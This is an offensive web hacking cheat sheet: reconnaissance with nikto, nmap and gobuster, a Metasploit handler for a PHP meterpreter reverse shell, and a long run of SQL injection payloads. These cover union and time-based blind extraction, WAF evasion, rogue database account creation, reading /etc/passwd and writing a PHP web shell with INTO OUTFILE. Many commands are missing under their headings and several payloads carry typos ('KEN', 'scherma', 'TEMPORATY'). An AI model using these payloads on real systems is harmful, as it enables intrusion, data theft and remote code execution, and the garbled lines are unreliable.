Hacking web cheat sheet
Gathering web server
Finding default content of web server using nikto
Analyze website using skipfish
Discover web directories using uniscan
Discover robots.txt and sitemap.xml files using uniscan
Perform dynamic tests using uniscan
Obtains information about emails, source code disclosures, and external hosts.
Perform a port and service discovery scan using nmap
Perform web application reconnaissance using WhatWeb
WhatWeb recognizes web technologies, such as blogging platforms, email addresses, content management systems (CMS), account IDs, statistics and analytics packages, JavaScript libraries, and embedded devices. It also identifies version numbers, web servers, web framework modules, etc.
Detect Load Balancers
Enumerate server using nmap (applications, directories, and files)
Fast-paced enumeration of the hidden files and directories of the target web application using Gobuster
Attack website
--enumerate vp: Specifies the enumeration of vulnerable plugins.
Create meterpreter php payload and encode using msfvenom
Upload and open the file in the web server...
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST [IP Address of Host Machine]
set LPORT 4444
run
Webshell using weevely
Upload the shell to the web server...
SQL Injection
Try to bypass website login forms
Union
Extract data
Extract database name
Extract database tables
Extract table column names
1 UNION SELECT ALL 1,column_name,3,4 form DB_NAME.information_schema.columns where table_name='EMPLOYEE_TABLE'--
Extract first field data
Perform error based SQL Injection
Extract database name
Extract first database table
Extract first table column name
1 or 1=convert(int, (select top 1 column_name from DBNAME.information_scherma.columns where table_name='TABLE-NAME-1'))--
Extract first field of first row
Extract database user
Check for username length
1; IF (KEN(USER)=1) WAITFOR DELAY '00:00:10'--
1; IF (KEN(USER)=2) WAITFOR DELAY '00:00:10'--
1; IF (KEN(USER)=3) WAITFOR DELAY '00:00:10'--
...
Check if first character in the username contains 'A' (a=97), 'B', or 'C' and so on
1; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:5'--
1; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:5'--
1; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:5'--
...
Check if second character in the username contains 'A' (a=97), 'B', or 'C' and so on
1; IF (ASCII(lower(substring((USER),2,1)))=97) WAITFOR DELAY '00:00:5'--
1; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:5'--
1; IF (ASCII(lower(substring((USER),2,1)))=99) WAITFOR DELAY '00:00:5'--
...
Check if third character in the username contains 'A' (a=97), 'B', or 'C' and so on
1; IF (ASCII(lower(substring((USER),3,1)))=97) WAITFOR DELAY '00:00:5'--
1; IF (ASCII(lower(substring((USER),3,1)))=98) WAITFOR DELAY '00:00:5'--
1; IF (ASCII(lower(substring((USER),3,1)))=99) WAITFOR DELAY '00:00:5'--
...
Bypass firewall
Normalization method
'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/**/OM/**/Users/**/WHE/**/RE/**/username/**/LIKE/**/'admin'--
Evading ' OR 1=1 signature
Character enconding
Load files in unions (string="/etc/passwd")
Inject without quotes (string = "%")
Inject without quotes (string = "root")
Check for existing files (string = "n.ext")
HPP technique
Override the HTTP GET/POST parameters by injecting delimiting characters into the query strings.
HPF technique
Blind SQL Injection
Replace WAF signatures with their synonyms using SQL function.
String concatenation
MSSQL
Oracle
MySQL
Manipulating white spaces
Null byte
Case variation
Declare variable
; declare @sqlvar nvarchar(70); set @sqlvar = (N'UNI' + N'ON' + N' SELECT' + N'Password'); EXEC(@sqlvar)
Exporting a value with regular expression attack
Exporting a value in MySQL
Check if first character in password is between 'a' and 'g'
Check if first character in password is between 'a' and 'h'
Check if first character in password is between 'd' and 'f'
Check if first character in password is 'e'
Exporting a value in MSSQL
Check if second character in password is between 'a' and 'f'
Check if second character in password is between '0' and '9'
Check if second character in password is '4'
Creating database accounts
MySQL
Microsoft Access
Microsoft SQL Server
Oracle
CREATE USER john IDENTIFIED BY toor TEMPORATY TABLESPACE temp DEFAULT TABLESPACE users;
GRANT CONNECT TO john;
GRANT RESOURCE TO john;
Interacting with the operating system
Creating OS accounts in MSSQL
Create user
Put new user into the administrators group
Interacting with the file system
Loading a file
Writing a file
NULL UNION ALL SELECT NULL,NULL,NULL,NULL,'<?php system($_GET["command"]);?>' INTO OUTFILE '/var/www/custom_path/shell.php'/*
Manage data
MSSQL
Inserting a row
Creating a database
Deleting a database
Deleting a table
Using sqlmap
SQL Injection in a page using a cookie, retrieve databases
-u: Specifies the target URL.--cookie: Specifies the HTTP cookie header value.
--dbs: Enumerates DBMS databases.